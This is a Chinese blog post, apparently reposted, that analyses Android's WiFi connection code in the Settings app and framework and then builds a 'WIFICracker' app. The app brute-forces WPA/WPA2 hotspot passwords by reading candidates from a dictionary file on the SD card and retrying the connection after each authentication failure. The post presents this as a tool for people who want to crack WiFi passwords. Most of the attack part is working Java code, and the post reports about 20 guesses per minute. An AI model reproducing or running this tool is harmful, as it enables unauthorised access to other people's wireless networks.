安卓WIFI原理浅析

最近,在好几个安卓手机群里面都看到有朋友寻求WIFI密码破解工具,在网上经过一番搜索后发现居然没有这样的软件,这让我感到很奇怪,难道这样的功能实现起来很难?思索再三,决定探个究竟。

首先看SDK中查看WIFI操作的相关类。WIFI的支持是在android.net.wifi包中提供的。里面有WifiManager、WifiInfo、WifiConfiguration与ScanResult等几个常用到的类,WIFI的管理通过WifiManager暴露出来的方法来操作,仔细一看还真让人郁闷,这个类没有提供连接WIFI的方法,倒是有disconnect()方法来断开连接,不过有个reconnect()方法倒是值得注意,只是该方法SDK中却没有详细的介绍。在谷歌中搜索安卓连接WIFI的代码又测试失败,心里顿时凉了一截!看来要想完成这个功能还得下一番功夫。

转念一想,安卓会不会把这样的接口隐藏了,通过AIDL的方式就可以访问呢?为了验证我的想法,开始在安卓源代码的“frameworks”目录中搜索以aidl结尾的文件,最终锁定“IWifiManager.aidl”文件,用Editplus打开它,发现IWifiManager接口里面也没有提供连接WIFI的方法。这条线索也断了!

看来只能从手机WIFI的连接过程着手了。掏出手机,进入“设置”->“无线和网络设置”->“WLAN设置”里面打开“WLAN”,这时手机会自动搜索附近的WIFI热点,点击任一个加密的热点会弹出密码输入框,如图1所示:

安卓WIFI密码破解工具编写初探

输入任意长度大于或等于8位的密码后点击连接按钮,此时手机就会去连接该热点,如果验证失败就会提示“密码错误,请重新输入正确的密码并且再试一次”,如图2所示:

安卓WIFI密码破解工具编写初探

如果此时更换密码后再试一次仍然失败的话,手机就不会再访问该热点并将该WLAN网络设为禁用。既然在手机设置里可以连接WIFI,那么说明设置里面就有连接WIFI的代码存在。

手机设置这一块是做为安卓手机的一个软件包提供的,它的代码位于安卓源码的“packages\apps\Settings”目录中,为了弄清楚操作流程,我决定到源码中查看相关代码。首先根据文件名判断打开“packages\apps\Settings\src\com\android\settings\wifi\WifiSettings.java”文件,可以看到WifiSettings类继承自SettingsPreferenceFragment,SettingsPreferenceFragment类使用一系列的PreferenceScreen作为显示的列表项,现在很多软件都用它来作为自身的设置页面,不仅布局更简单,而且也很方便。

找到WifiSettings的构造函数代码如下:

public WifiSettings() {

mFilter = new IntentFilter();

mFilter.addAction(WifiManager.WIFI_STATE_CHANGED_ACTION);

mFilter.addAction(WifiManager.SCAN_RESULTS_AVAILABLE_ACTION);

mFilter.addAction(WifiManager.NETWORK_IDS_CHANGED_ACTION);

mFilter.addAction(WifiManager.SUPPLICANT_STATE_CHANGED_ACTION);

mFilter.addAction(WifiManager.CONFIGURED_NETWORKS_CHANGED_ACTION);

mFilter.addAction(WifiManager.LINK_CONFIGURATION_CHANGED_ACTION);

mFilter.addAction(WifiManager.NETWORK_STATE_CHANGED_ACTION);

mFilter.addAction(WifiManager.RSSI_CHANGED_ACTION);

mFilter.addAction(WifiManager.ERROR_ACTION);

 

mReceiver = new BroadcastReceiver() {

@Override

public void onReceive(Context context, Intent intent) {

handleEvent(context, intent);

}

};

mScanner = new Scanner();

}

这段代码注册了一个广播接收者,接收一系列的广播事件,WIFI_STATE_CHANGED_ACTION事件当WIFI功能开启或关闭时会收到,SCAN_RESULTS_AVAILABLE_ACTION事件当手机扫描到有可用的WIFI连接时会收到,SUPPLICANT_STATE_CHANGED_ACTION事件当连接请求状态发生改变时会收到,NETWORK_STATE_CHANGED_ACTION事件当网络状态发生变化时会收到,对于其它的事件我们不用去关心,广播接收者中调用handleEvent()方法对所有的事件进行判断并处理,事件处理代码如下:

private void handleEvent(Context context, Intent intent) {

String action = intent.getAction();

if (WifiManager.WIFI_STATE_CHANGED_ACTION.equals(action)) {

updateWifiState(intent.getIntExtra(WifiManager.EXTRA_WIFI_STATE,

WifiManager.WIFI_STATE_UNKNOWN));

} else if (WifiManager.SCAN_RESULTS_AVAILABLE_ACTION.equals(action) ||

WifiManager.CONFIGURED_NETWORKS_CHANGED_ACTION.equals(action) ||

WifiManager.LINK_CONFIGURATION_CHANGED_ACTION.equals(action)) {

updateAccessPoints();

} else if (WifiManager.SUPPLICANT_STATE_CHANGED_ACTION.equals(action)) {

if (!mConnected.get()) {

updateConnectionState(WifiInfo.getDetailedStateOf((SupplicantState)

intent.getParcelableExtra(WifiManager.EXTRA_NEW_STATE)));

}

if (mInXlSetupWizard) {

((WifiSettingsForSetupWizardXL)getActivity()).onSupplicantStateChanged(intent);

}

} else if (WifiManager.NETWORK_STATE_CHANGED_ACTION.equals(action)) {

NetworkInfo info = (NetworkInfo) intent.getParcelableExtra(

WifiManager.EXTRA_NETWORK_INFO);

mConnected.set(info.isConnected());

changeNextButtonState(info.isConnected());

updateAccessPoints();

updateConnectionState(info.getDetailedState());

}

.....

}

代码中分别调用updateWifiState()、updateConnectionState()、updateAccessPoints()等方法进行更新操作,同样凭感觉查看updateAccessPoints()方法,代码如下:

private void updateAccessPoints() {

final int wifiState = mWifiManager.getWifiState();

switch (wifiState) {

case WifiManager.WIFI_STATE_ENABLED:

// AccessPoints are automatically sorted with TreeSet.

final Collection<AccessPoint> accessPoints = constructAccessPoints();

getPreferenceScreen().removeAll();

if (mInXlSetupWizard) {

((WifiSettingsForSetupWizardXL)getActivity()).onAccessPointsUpdated(

getPreferenceScreen(), accessPoints);

} else {

for (AccessPoint accessPoint : accessPoints) {

getPreferenceScreen().addPreference(accessPoint);

}

}

break;

.....

}

成功开启WIFI,即getWifiState()返回为WIFI_STATE_ENABLED时首先会调用constructAccessPoints(),在这个方法中调用mWifiManager.getConfiguredNetworks()与mWifiManager.getScanResults()来分别获取已保存与可用的WIFI热点网络,接着判断mInXlSetupWizard并调用onAccessPointsUpdated()或addPreference(accessPoint),这两者的操作都是往页面添加显示搜索到的WIFI热点网络,区别只是调用者是不是大屏手机或平板电脑(mInXlSetupWizard意思为是否为大屏幕的设置向导,这个结论由长时间分析所得!*_*,XL=XLarge)。AccessPoints 的构造函数有三个,代码如下:

AccessPoint(Context context, WifiConfiguration config) {

super(context);

setWidgetLayoutResource(R.layout.preference_widget_wifi_signal);

loadConfig(config);

refresh();

}

 

AccessPoint(Context context, ScanResult result) {

super(context);

setWidgetLayoutResource(R.layout.preference_widget_wifi_signal);

loadResult(result);

refresh();

}

 

AccessPoint(Context context, Bundle savedState) {

super(context);

setWidgetLayoutResource(R.layout.preference_widget_wifi_signal);

 

mConfig = savedState.getParcelable(KEY_CONFIG);

if (mConfig != null) {

loadConfig(mConfig);

}

mScanResult = (ScanResult) savedState.getParcelable(KEY_SCANRESULT);

if (mScanResult != null) {

loadResult(mScanResult);

}

mInfo = (WifiInfo) savedState.getParcelable(KEY_WIFIINFO);

if (savedState.containsKey(KEY_DETAILEDSTATE)) {

mState = DetailedState.valueOf(savedState.getString(KEY_DETAILEDSTATE));

}

update(mInfo, mState);

}

上面的两个构造函数分别针对调用mWifiManager.getConfiguredNetworks()与mWifiManager.getScanResults()得来的结果调用loadConfig(WifiConfiguration config)与loadResult(ScanResult result),经过这一步后,AccessPoints 的成员变量也初始化完了,然后调用refresh()方法进行刷新显示操作,代码我就不帖了,主要就是设置显示SSID,SSID的加密方式,信号强度等。显示工作做完后,我们的重点应用转向WIFI热点网络点击事件的处理。点击事件的处理同样在WifiSettings.java文件中,代码如下:

@Override

public boolean onPreferenceTreeClick(PreferenceScreen screen, Preference preference) {

if (preference instanceof AccessPoint) {

mSelectedAccessPoint = (AccessPoint) preference;

/** Bypass dialog for unsecured, unsaved networks */

if (mSelectedAccessPoint.security == AccessPoint.SECURITY_NONE &&

mSelectedAccessPoint.networkId == INVALID_NETWORK_ID) {

mSelectedAccessPoint.generateOpenNetworkConfig();

mWifiManager.connectNetwork(mSelectedAccessPoint.getConfig());

} else {

showConfigUi(mSelectedAccessPoint, false);

}

} else {

return super.onPreferenceTreeClick(screen, preference);

}

return true;

}

这段代码很简单,如果WIFI没有加密,直接调用mSelectedAccessPoint.generateOpenNetworkConfig()生成一个不加密的WifiConfiguration,代码如下:

protected void generateOpenNetworkConfig() {

if (security != SECURITY_NONE)

throw new IllegalStateException();

if (mConfig != null)

return;

mConfig = new WifiConfiguration();

mConfig.SSID = AccessPoint.convertToQuotedString(ssid);

mConfig.allowedKeyManagement.set(KeyMgmt.NONE);

}

代码首先new了一个WifiConfiguration赋值给mConfig,然后设置allowedKeyManagement为KeyMgmt.NONE表示不使用加密连接,这个工作做完成后就调用了mWifiManager的connectNetwork()方法进行连接,看这个方法的父亲可以发现是WifiManager,居然是WifiManager,可这个方法却没有导出!!!

继续分析,如果是加密的WIFI,就调用showConfigUi()方法来显示输入密码框,对于大屏手机,即mInXlSetupWizard为真时,调用了WifiSettingsForSetupWizardXL类的showConfigUi()方法,如果为假就直接调用showDialog(accessPoint, edit)显示对话框,代码如下:

private void showDialog(AccessPoint accessPoint, boolean edit) {

if (mDialog != null) {

removeDialog(WIFI_DIALOG_ID);

mDialog = null;

}

// Save the access point and edit mode

mDlgAccessPoint = accessPoint;

mDlgEdit = edit;

showDialog(WIFI_DIALOG_ID);

}

 

@Override

public Dialog onCreateDialog(int dialogId) {

AccessPoint ap = mDlgAccessPoint; // For manual launch

if (ap == null) { // For re-launch from saved state

if (mAccessPointSavedState != null) {

ap = new AccessPoint(getActivity(), mAccessPointSavedState);

// For repeated orientation changes

mDlgAccessPoint = ap;

}

}

// If it's still null, fine, it's for Add Network

mSelectedAccessPoint = ap;

mDialog = new WifiDialog(getActivity(), this, ap, mDlgEdit);

return mDialog;

}

这段代码保存accessPoint后就调用showDialog(WIFI_DIALOG_ID)了,在onCreateDialog()初始化方法中判断mDlgAccessPoint是否为null,如果为null就调用AccessPoint的第三个构造方法从保存的状态中生成一个AccessPoint,最后new WifiDialog(getActivity(), this, ap, mDlgEdit)生成一个WifiDialog,这个WifiDialog继承自AlertDialog,也就是它,最终将对话框展现在我们面前,WifiDialog构造函数的第二个参数为DialogInterface.OnClickListener的监听器,设置为this表示类本身对按钮点击事件进行响应,接下来找找事件响应代码,马上就到关键啰!

public void onClick(DialogInterface dialogInterface, int button) {

if (mInXlSetupWizard) {

if (button == WifiDialog.BUTTON_FORGET && mSelectedAccessPoint != null) {

forget();

} else if (button == WifiDialog.BUTTON_SUBMIT) {

((WifiSettingsForSetupWizardXL)getActivity()).onConnectButtonPressed();

}

} else {

if (button == WifiDialog.BUTTON_FORGET && mSelectedAccessPoint != null) {

forget();

} else if (button == WifiDialog.BUTTON_SUBMIT) {

submit(mDialog.getController());

}

}

}

代码判断弹出的对话框是WIFI热点抛弃还是WIFI连接,并做出相应的处理,这里看看submit()方法的代码:

void submit(WifiConfigController configController) {

int networkSetup = configController.chosenNetworkSetupMethod();

switch(networkSetup) {

case WifiConfigController.WPS_PBC:

case WifiConfigController.WPS_DISPLAY:

case WifiConfigController.WPS_KEYPAD:

mWifiManager.startWps(configController.getWpsConfig());

break;

case WifiConfigController.MANUAL:

final WifiConfiguration config = configController.getConfig();

if (config == null) {

if (mSelectedAccessPoint != null

&& !requireKeyStore(mSelectedAccessPoint.getConfig())

&& mSelectedAccessPoint.networkId != INVALID_NETWORK_ID) {

mWifiManager.connectNetwork(mSelectedAccessPoint.networkId);

}

} else if (config.networkId != INVALID_NETWORK_ID) {

if (mSelectedAccessPoint != null) {

saveNetwork(config);

}

} else {

if (configController.isEdit() || requireKeyStore(config)) {

saveNetwork(config);

} else {

mWifiManager.connectNetwork(config);

}

}

break;

}

 

if (mWifiManager.isWifiEnabled()) {

mScanner.resume();

}

updateAccessPoints();

}

关键代码终于找到了,那个叫激动啊T_T!按钮事件首先对WIFI网络加密类型进行判断,是WPS的就调用mWifiManager.startWps(configController.getWpsConfig()),是手动设置就调用被点击AccessPoint 项的getConfig()方法读取WifiConfiguration信息,如果不为null调用connectNetwork(mSelectedAccessPoint.networkId)连接网络,为null说明可能是AccessPoint 调用第二个构造函数使用ScanResult生成的,则调用saveNetwork(config),看看saveNetwork()的代码:

private void saveNetwork(WifiConfiguration config) {

if (mInXlSetupWizard) {

((WifiSettingsForSetupWizardXL)getActivity()).onSaveNetwork(config);

} else {

mWifiManager.saveNetwork(config);

}

}

调用的mWifiManager.saveNetwork(config)方法,这个方法同样在SDK中没有导出,到源码中找找,最终在源代码的“frameworks\base\wifi\java\android\net\wifi\WifiManager.java”文件中找到是通过向自身发送消息的方式调用了WifiStateMachine.java->WifiConfigStore.java->saveNetwork()方法,最终保存WIFI网络后发送了一个已配置网络变更广播,这里由于篇幅就不再展开了。

分析到这里,大概了解了WIFI连接的整个流程,程序无论是否为加密的WIFI网络,最终调用WifiManager的connectNetwork()方法来连接网络。而这个方法在SDK中却没有导出,我们该如何解决这个问题,一杯茶后,马上回来......

connectNetwork()方法

我始终不明白安卓SDK中为什么不开放connectNetwork这个接口,但现在需要用到了,也只能接着往下面分析,WifiManager是Framework层的,接下来的探索移步到安卓源码“frameworks\base\wifi\java\android\net\wifi”目录中去,在WifiManager.java中搜索“connectNetwork”,代码如下:

/**

* Connect to a network with the given configuration. The network also

* gets added to the supplicant configuration.

*

* For a new network, this function is used instead of a

* sequence of addNetwork(), enableNetwork(), saveConfiguration() and

* reconnect()

*

* @param config the set of variables that describe the configuration,

*           contained in a {@link WifiConfiguration} object.

* @hide

*/

public void connectNetwork(WifiConfiguration config) {

if (config == null) {

return;

}

mAsyncChannel.sendMessage(CMD_CONNECT_NETWORK, config);

}

注意看注释部分!“对于一个新的网络,这个函数相当于陆续调用了addNetwork(), enableNetwork(), saveConfiguration() 与 reconnect()”。看到这句话,心里可美了,因为这四个函数在SDK中都有导出,在代码中分别调用它们不就达到调用connectNetwork的目的了么?

继续分析代码,如果config不为空,connectNetwork就通过mAsyncChannel发送了一条“CMD_CONNECT_NETWORK”的消息,mAsyncChannel的声明如下:

/* For communication with WifiService */

private AsyncChannel mAsyncChannel = new AsyncChannel();

从注释上理解,这个东西是用来与WifiService 通信的。WifiService 属于Framework底层的服务,位于源码“\frameworks\base\services\java\com\android\server”目录,找到代码如下:

@Override

public void handleMessage(Message msg) {

switch (msg.what) {

       ......

case WifiManager.CMD_CONNECT_NETWORK: {

if (msg.obj != null) {

mWifiStateMachine.connectNetwork((WifiConfiguration)msg.obj);

} else {

mWifiStateMachine.connectNetwork(msg.arg1);

}

break;

}

       ......

}

}

在handleMessage()方法中有很多消息处理,这里由于篇幅只列出了CMD_CONNECT_NETWORK,可以看出这WifiService 就是个“托”,它只是将“病人”重新转给mWifiStateMachine处理,mWifiStateMachine为WifiStateMachine类,代码和WifiManager在同一目录,找到connectNetwork代码如下:

public void connectNetwork(int netId) {

sendMessage(obtainMessage(CMD_CONNECT_NETWORK, netId, 0));

}

public void connectNetwork(WifiConfiguration wifiConfig) {

/* arg1 is used to indicate netId, force a netId value of

* WifiConfiguration.INVALID_NETWORK_ID when we are passing

* a configuration since the default value of 0 is a valid netId

*/

sendMessage(obtainMessage(CMD_CONNECT_NETWORK, WifiConfiguration.INVALID_NETWORK_ID,

0, wifiConfig));

}

真有才了!还在发消息,只不过是给自已发,我真怀疑这写WIFI模块的是不是90后,这一层层绕的不头晕?找到处理代码如下:

@Override

public boolean processMessage(Message message) {

           ......

case CMD_CONNECT_NETWORK:

int netId = message.arg1;

WifiConfiguration config = (WifiConfiguration) message.obj;

/* We connect to a specific network by issuing a select

* to the WifiConfigStore. This enables the network,

* while disabling all other networks in the supplicant.

* Disabling a connected network will cause a disconnection

* from the network. A reconnectCommand() will then initiate

* a connection to the enabled network.

*/

if (config != null) {

netId = WifiConfigStore.selectNetwork(config);

} else {

WifiConfigStore.selectNetwork(netId);

}

 

/* The state tracker handles enabling networks upon completion/failure */

mSupplicantStateTracker.sendMessage(CMD_CONNECT_NETWORK);

 

WifiNative.reconnectCommand();

mLastExplicitNetworkId = netId;

mLastNetworkChoiceTime = SystemClock.elapsedRealtime();

mNextWifiActionExplicit = true;

if (DBG) log("Setting wifi connect explicit for netid " + netId);

/* Expect a disconnection from the old connection */

transitionTo(mDisconnectingState);

break;

                   ......

注释中说:通过WifiConfigStore的selectNetwork()方法连接一个特定的网络,当禁用supplicant中其它所有网络时,会连接网络,而禁用一个已经连接的网络,将会引发disconnection操作,reconnectCommand()方法会初始化并连接已启用的网络。

selectNetwork()过后,mSupplicantStateTracker发送了一条CMD_CONNECT_NETWORK消息,它其实只做了一件事,就是将“mNetworksDisabledDuringConnect ”设为true。最后WifiNative.reconnectCommand()对网络进行重新连接,至此,WIFI的连接过程就完毕了,下面看看selectNetwork()代码:

static int selectNetwork(WifiConfiguration config) {

if (config != null) {

NetworkUpdateResult result = addOrUpdateNetworkNative(config);

int netId = result.getNetworkId();

if (netId != INVALID_NETWORK_ID) {

selectNetwork(netId);

} else {

loge("Failed to update network " + config);

}

return netId;

}

return INVALID_NETWORK_ID;

}

static void selectNetwork(int netId) {

// Reset the priority of each network at start or if it goes too high.

if (sLastPriority == -1 || sLastPriority > 1000000) {

synchronized (sConfiguredNetworks) {

for(WifiConfiguration config : sConfiguredNetworks.values()) {

if (config.networkId != INVALID_NETWORK_ID) {

config.priority = 0;

addOrUpdateNetworkNative(config);

}

}

}

sLastPriority = 0;

}

// Set to the highest priority and save the configuration.

WifiConfiguration config = new WifiConfiguration();

config.networkId = netId;

config.priority = ++sLastPriority;

 

addOrUpdateNetworkNative(config);

WifiNative.saveConfigCommand();

enableNetworkWithoutBroadcast(netId, true);

}

代码都在这里了,我再也不帖了,帖了太多了,这段代码流程为addOrUpdateNetworkNative()先保存一个,然后对已保存的网络优先级降下来,这是为了让新网络拥有更高的优先连接权,接着执行saveConfigCommand()将配置信息保存,这里的保存操作在底层是将网络信息保存到了“/data/misc/wifi/wpa_supplicant.conf”文件中,最后enableNetworkWithoutBroadcast(netId, true)启用本网络并禁用其它网络。

小结一下connectNetwork的执行步骤为“WifiConfigStore.selectNetwork()”->“addOrUpdateNetworkNative()”->“其它网络降级并设置自已最高优先级”->“WifiNative.saveConfigCommand()”->“enableNetworkWithoutBroadcast(netId, true);”->“WifiNative.reconnectCommand()”->“通过广播判断连接成功或失败”。

既然connectNetwork的执行步骤现在清楚了,那我们自己实现它便可以完成WIFI的手动连接了,

代码编写

WIFI密码破解器的编写有三种思路:

第一种就是上面说的自己动手实现connectNetwork,按照SDK中常规步骤连接WIFI,本文采用此方法。

第二种就是参看WIFI的连接代码,通过NDK方式自己实现WIFI底层操作的调用,这种方法本文不介绍。

第三种方法同样通过NDK方式,但优雅些。在上面的分析中,我没有提到安卓WIFI的核心wpa_supplicant,它作为安卓WIFI的一个组件存在,为安卓系统提供了WPA、WPA2等加密网络的连接支持。在手机系统的“/system/bin”目录中,有“wpa_supplicant”与“wpa_cli”两个文件,前者是一个服务,客户端通过它控制手机无线网卡,如发送AP扫描指令、提取扫描结果、关联AP操作等。后者是一个命令行工具,用来与wpa_supplicant通信,在正常启动wpa_supplicant服务后执行下面的指令便可以连接上WIFI网络:

wpa_cli -iwlan0 add_network                  // 增加一个网络,会返回一个网络号,假设为1

wpa_cli -iwlan0 set_network 1 ssid '"……"'   //ssid为要连接的网络名

wpa_cli -iwlan0 set_network 1 psk '"……"'               //psk为连接的密码

wpa_cli -iwlan0 enable_network 1                            //以下三条与上面connectNetwork分析功能一致

wpa_cli -iwlan0 select_network 1

wpa_cli -iwlan0 save_config

但实际上,通过命令行启动wpa_supplicant却不能成功,因为需要先加载WIFI驱动,然后才能启用wpa_supplicant服务。在手机WLAN设置中启用WIFI后,会调用WifiManager.setWifiEnabled,这个方法会依次调用WifiNative.loadDriver()->WifiNative.startSupplicant()。在加载成功后会设置一个延迟时间,到延迟时间后就会调用WifiNative.stopSupplicant()->WifiNative.unloadDriver()停止wpa_supplicant服务并卸载驱动,这是为了给设备省电,因为WIFI驱动长时间加载可是很耗电的。

命令行本身无法直接加载驱动,导致了wpa_supplicant无法成功开启,这也是无法通过命令行直接连接WIFI的原因,但并不是没有突破方法!可以写代码并使用NDK方式调用WifiNative.loadDriver(),接着启用wpa_supplicant服务,服务加载成功后执行上面的wpa_cli命令行,就可以轻松连接WIFI了。可以直接写一个原生的bin,实现驱动加载及WIFI连接,然后在安卓代码中直接以创建进程的方式启动或者在shell中执行等方式运行。这些方法都具有可行性,本文不做深入探讨,只采用文中介绍的第一种方法来完成程序的功能。

目前WIFI加密种类常用的有WEP、WPA、WPA2、EAP等,WifiManager将WEP与EAP做了内部消化,WPA与WPA2则使用wpa_supplicant进行管理,目前,由于WEP的安全性问题,使用的人已经不多了,一般用户采用WPA与WPA2方式接入较多,在今天的程序中,也只处理了这两种加密的情况。

按照上面的分析思路,代码实现应该很明了了,但实际编码过程中还是存在着诸多问题,首先是停止扫描的问题,在WifiManager中没有提供stopScan()方法,而是在其中通过一个内部继承自Handler的SCanner来管理,目前来说,我没想到解决方案,在开始破解跑WIFI密码的过程中,WIFI扫描线程一直还是开着,我只是通过一个cracking的布尔值判断来阻止界面的更新,这个问题可能在SDK层无法得到解决。第二个问题是一些类的枚举值,如SupplicantState.AUTHENTICATING、KeyMgmt.WPA2_PSK等在SDK中都是没导出的,要想使用就需要自己添加。谈到WPA2_PSK,很有必要讲一下WifiConfiguration类的构造,连接WIFI前需要先构造这个类,然后通过addNetwork()添加网络操作后才能进行下一步的连接,在网上搜索到的连接代码如下:

......

mConfig = new WifiConfiguration();

mConfig.status = WifiConfiguration.Status.ENABLED;

mConfig.hiddenSSID = false;

mConfig.SSID = "\"ssid\"";

mConfig.preSharedKey = "\"password\"";

mConfig.allowedAuthAlgorithms.set(AuthAlgorithm.OPEN);

mConfig.allowedKeyManagement.set(KeyMgmt.WPA_PSK);

mConfig.allowedProtocols.set(WifiConfiguration.Protocol.RSN);

mConfig.allowedPairwiseCiphers.set(PairwiseCipher.CCMP);

mConfig.allowedPairwiseCiphers.set(PairwiseCipher.TKIP);

mConfig.allowedGroupCiphers.set(GroupCipher.CCMP);

mConfig.allowedGroupCiphers.set(GroupCipher.TKIP);

Int netid = wm.addNetwork(mConfig);

wm.enableNetwork(netid, false);

......

在测试初期我是直接搬这代码来用的,实际上这代码是废的,根本连接不上任何的WIFI,状态代码显示一直停留在关联AP中,而且这样设置WifiConfiguration后在手机设置中也无法开启使用WIFI了,当时我也很纳闷,你都不能用的代码,怎么还在网上好多篇帖子里乱窜?后来跟踪WIFI连接的过程后,整理出的代码如下:

......

if (security == SECURITY_PSK) {

mConfig = new WifiConfiguration();

mConfig.SSID = AccessPoint.convertToQuotedString(ssid);

if (pskType == PskType.WPA) {

mConfig.allowedProtocols.set(WifiConfiguration.Protocol.WPA);

}

else if (pskType == PskType.WPA2) {

mConfig.allowedProtocols.set(WifiConfiguration.Protocol.RSN);

}

mConfig.priority = 1;

mConfig.status = WifiConfiguration.Status.ENABLED;

mConfig.SSID = "\"ssid\"";

mConfig.preSharedKey = "\"password\"";

Int netid = wm.addNetwork(mConfig);

wm.enableNetwork(netid, false);

......

代码比上面的要简洁些,这不该有的东西啊你坚决不能有!

启动Eclipse新建一个WIFICracker的工程,OnCreate()方法代码如下:

public void onCreate(Bundle savedInstanceState) {

public void onCreate(Bundle savedInstanceState) {

super.onCreate(savedInstanceState);

try {

passwordGetter = new PasswordGetter("/sdcard/password.txt");

} catch (FileNotFoundException e) {

showMessageDialog("程序初始化失败", "请将密码字典放到SD卡目录并更名为password.txt", "确定",

false, new OnClickListener() {

public void onClick(DialogInterface dialog, int which) {

WIFICracker.this.finish();

}

});

}

wm = (WifiManager) getSystemService(WIFI_SERVICE);

if(!wm.isWifiEnabled())

wm.setWifiEnabled(true);   //开启WIFI

 

deleteSavedConfigs();

cracking = false;

netid = -1;

 

wifiReceiver = new WifiReceiver();

intentFilter = new IntentFilter(WifiManager.SCAN_RESULTS_AVAILABLE_ACTION);

intentFilter.addAction(WifiManager.SUPPLICANT_STATE_CHANGED_ACTION);

registerReceiver(wifiReceiver, intentFilter);

 

wm.startScan(); //开始扫描网络

}

deleteSavedConfigs()方法将手机已存的Config中全部删除,原因是因为如果已经保存了正确的WIFI连接密码,程序运行会无法工作,具体代码参看附件。然后构造一个PasswordGetter对象,它用来读取"/sdcard/password.txt"文件每一行作为WIFI的探测密码,类的完整代码如下:

public class PasswordGetter {

private String password;

private File file;

private FileReader reader;

private BufferedReader br;

 

public PasswordGetter(String passwordFile){

password = null;

try {

//File file = new File("/sdcard/password.txt");

file = new File(passwordFile);

if (!file.exists())

throw new FileNotFoundException();

reader = new FileReader(file);

br = new BufferedReader(reader);

 

} catch (FileNotFoundException e) {

e.printStackTrace();

}

}

 

public void reSet(){

try {

br.close();

reader.close();

reader = new FileReader(file);

br = new BufferedReader(reader);

} catch (IOException e) {

e.printStackTrace();

password = null;

}

}

 

public String getPassword(){

try {

password = br.readLine();

} catch (IOException e) {

e.printStackTrace();

password = null;

}

return password;

}

 

public void Clean(){

try {

br.close();

reader.close();

} catch (IOException e) {

e.printStackTrace();

}

}

}

这个类很简单,具体代码就不分析了,为了方便配置与加载WifiConfiguration,我将安卓源码中的AccessPoint类进行了部分改装后用到程序中,这样可以节省很多时间。

程序的核心在于对WIFI状态的控制与连接,前者我使用了广播接收者进行监听,在收到广播后进行相应处理,代码如下:

class WifiReceiver extends BroadcastReceiver {

@Override

public void onReceive(Context context, Intent intent) {

String action = intent.getAction();

if (WifiManager.SCAN_RESULTS_AVAILABLE_ACTION.equals(action)) {

if (results == null)   //只初始化一次

results = wm.getScanResults();

try {

setTitle("WIFI连接点个数为:"

+ String.valueOf(getPreferenceScreen().getPreferenceCount()));

} catch (Exception e) {

e.printStackTrace();

}

if( cracking == false) //破解WIFI密码时不更新界面

update();

} else if (WifiManager.SUPPLICANT_STATE_CHANGED_ACTION.equals(action)) {

WifiInfo info = wm.getConnectionInfo();

SupplicantState state = info.getSupplicantState();

String str = null;

if (state == SupplicantState.ASSOCIATED){

str = "关联AP完成";

} else if(state.toString().equals("AUTHENTICATING")){

str = "正在验证";

} else if (state == SupplicantState.ASSOCIATING){

str = "正在关联AP...";

} else if (state == SupplicantState.COMPLETED){

if(cracking) {

cracking = false;

showMessageDialog("恭喜您,密码跑出来了!", "密码为:"

+ AccessPoint.removeDoubleQuotes(password),

"确定", false, new OnClickListener(){

public void onClick(DialogInterface dialog, int which) {

wm.disconnect();

enablePreferenceScreens(true);

}

});

cracking = false;

return;

} else

str = "已连接";

} else if (state == SupplicantState.DISCONNECTED){

str = "已断开";

} else if (state == SupplicantState.DORMANT){

str = "暂停活动";

} else if (state == SupplicantState.FOUR_WAY_HANDSHAKE){

str = "四路握手中...";

} else if (state == SupplicantState.GROUP_HANDSHAKE){

str = "GROUP_HANDSHAKE";

} else if (state == SupplicantState.INACTIVE){

str = "休眠中...";

if (cracking) connectNetwork(); //连接网络

} else if (state == SupplicantState.INVALID){

str = "无效";

} else if (state == SupplicantState.SCANNING){

str = "扫描中...";

} else if (state == SupplicantState.UNINITIALIZED){

str = "未初始化";

}

setTitle(str);

final int errorCode = intent.getIntExtra(WifiManager.EXTRA_SUPPLICANT_ERROR, -1);

if (errorCode == WifiManager.ERROR_AUTHENTICATING) {

Log.d(TAG, "WIFI验证失败!");

setTitle("WIFI验证失败!");

if( cracking == true)

connectNetwork();

}

}

}

}

这些代码的实现一部分源于查看SDK后的测试,另一部分源于跟踪安卓源码时的摘录。如这段:

final int errorCode = intent.getIntExtra(WifiManager.EXTRA_SUPPLICANT_ERROR, -1);

if (errorCode == WifiManager.ERROR_AUTHENTICATING) {

Log.d(TAG, "WIFI验证失败!");

setTitle("WIFI验证失败!");

if( cracking == true)

connectNetwork();

}

不查看安卓源码,你根本不会知道怎么检测WifiManager.ERROR_AUTHENTICATING,这让我在写测试代码时也着实苦恼了一段时间。好了,代码就分析到这里,回想一下,网上为什么没有这样的软件也知道原因了,因为SDK中没有提供相应的WIFI连接接口,要想实现就必须要深入研究这块,因此,太多人觉得过于繁琐也就没弄了。

最后,测试了一下效果,一分钟大概能跑20个密码,上个跑密码截图:

 

安卓WIFI密码破解工具编写初探

 

转载:http://www.u9vip.com/743.html 点击打开链接
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值